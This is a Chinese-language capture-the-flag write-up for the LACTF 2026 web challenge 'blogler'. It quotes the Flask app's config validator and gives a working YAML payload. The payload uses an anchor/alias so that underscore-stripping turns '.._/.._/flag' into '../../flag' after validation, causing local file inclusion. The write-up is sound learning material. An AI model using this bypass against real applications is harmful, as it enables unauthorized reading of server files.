本页目录

LACTF 2026 Writeup

Web/blogler

题目允许上传新博客,或直接编辑YAML格式的配置文件:

img
Python
def display_name(username: str) -> str:
    return "".join(p.capitalize() for p in username.split("_"))


def validate_conf(old_cfg: dict, uploaded_conf: str) -> dict | str:
    try:
        conf = yaml.safe_load(uploaded_conf)

        # validate all blog entries
        for i, blog in enumerate(conf["blogs"]):
            if not isinstance(blog.get("title"), str):
                return f"please provide a 'title' to the {i + 1}th blog"

            # no lfi
            file_name = blog["name"]
            assert isinstance(file_name, str)
            file_path = (blog_path / file_name).resolve()
            if "../" in file_name or file_name.startswith("/") or not file_path.is_relative_to(blog_path):
                return f"file path {file_name!r} is a hacking attempt. this incident will be reported"

        # recover from missing display name/passwords with sane default of old one
        if not isinstance(conf.get("user"), dict):
            conf["user"] = dict()

        conf["user"]["name"] = display_name(conf["user"].get("name", old_cfg["user"]["name"]))
        conf["user"]["password"] = conf["user"].get("password", old_cfg["user"]["password"])
        if not isinstance(conf["user"]["password"], str):
            return "provide a valid password bro"
        return conf
    except Exception as e:
        return f"exception - {e}"


@app.post("/config")
def update_config():
    config = request.form.get("config")
    if config is None:
        return "give a config..."
    if "username" not in session:
        return redirect("/login")

    validated_config = validate_conf(users[session["username"]], config)

    # this means there was an error in validation - return err string
    if isinstance(validated_config, str):
        return validated_config, 400

    # update the user conf if it is valid
    users[session["username"]] = validated_config

    return redirect("/")


@app.get("/blog/<string:username>")
def serve_blog(username):
    if username not in users:
        return "username does not exist", 404
    blogs = [
        {"title": blog["title"], "content": mistune.html((blog_path / blog["name"]).read_text())}
        for blog in users[username]["blogs"]
    ]
    return render_template("blog.html", blogs=blogs, name=users[username]["user"]["name"])

本题的需要读取/flag中的flag,需要利用blog["name"]触发(blog_path / blog["name"]).read_text()的LFI漏洞。

通过update_config更新的YAML配置会经过validate_conf的检查,直接在blog["name"]中使用../会被拒绝;本题切入点是,注意到blogconf["blogs"][i])和conf["user"]都包含name字段,且validate_conf在验证过blog["name"]后,会通过display_name函数删除conf["user"]["name"]中的下划线:

Python
def validate_conf(old_cfg: dict, uploaded_conf: str) -> dict | str:
    try:
        conf = yaml.safe_load(uploaded_conf)

        # validate all blog entries
        for i, blog in enumerate(conf["blogs"]):
            if not isinstance(blog.get("title"), str):
                return f"please provide a 'title' to the {i + 1}th blog"

            # no lfi
            file_name = blog["name"]
            assert isinstance(file_name, str)
            file_path = (blog_path / file_name).resolve()
            if "../" in file_name or file_name.startswith("/") or not file_path.is_relative_to(blog_path):
                return f"file path {file_name!r} is a hacking attempt. this incident will be reported"

        # recover from missing display name/passwords with sane default of old one
        if not isinstance(conf.get("user"), dict):
            conf["user"] = dict()

        conf["user"]["name"] = display_name(conf["user"].get("name", old_cfg["user"]["name"]))
        conf["user"]["password"] = conf["user"].get("password", old_cfg["user"]["password"])
        if not isinstance(conf["user"]["password"], str):
            return "provide a valid password bro"
        return conf
    except Exception as e:
        return f"exception - {e}"

利用YAML的别名功能,可以使得conf["blogs"][0]conf["user"]在解析后指向同一个字典对象:

Plain Text
blogs:
- &id001
  name: .._/.._/flag
  password: abc
  title: Blog Title
- name: abc_blog_3e2256dc5fcaedb0.md
  title: Blog Title
user: *id001

此时先验证blog["name"].._/.._/flag能够通过验证,随后该属性又在display_name处理后被修改为../../flag,从而实现LFI。

img